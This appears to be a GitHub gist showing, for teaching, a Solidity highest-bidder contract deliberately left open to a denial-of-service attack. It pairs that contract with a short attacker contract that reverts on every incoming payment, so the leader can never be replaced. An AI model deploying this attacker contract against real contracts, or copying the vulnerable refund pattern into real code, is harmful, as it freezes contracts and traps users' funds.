Skip to content

Instantly share code, notes, and snippets.

@gakonst
Last active November 15, 2017 21:11
Show Gist options
  • Save gakonst/b76a7f77a4945f014ce62948227b846f to your computer and use it in GitHub Desktop.
Save gakonst/b76a7f77a4945f014ce62948227b846f to your computer and use it in GitHub Desktop.
// Highest bidder becomes the Leader.
// Vulnerable to DoS attack by an attacker contract which reverts all transactions to it.
contract CallToTheUnknown {
address currentLeader;
uint highestBid;
function() payable {
require(msg.value > highestBid);
require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert
currentLeader = msg.sender;
highestBid = msg.value;
}
}
contract Pwn {
// call become leader
function becomeLeader(address _address, uint bidAmount) {
_address.call.value(bidAmount);
}
// reverts anytime it receives ether, thus cancelling out the change of the leader
function() payable {
revert();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment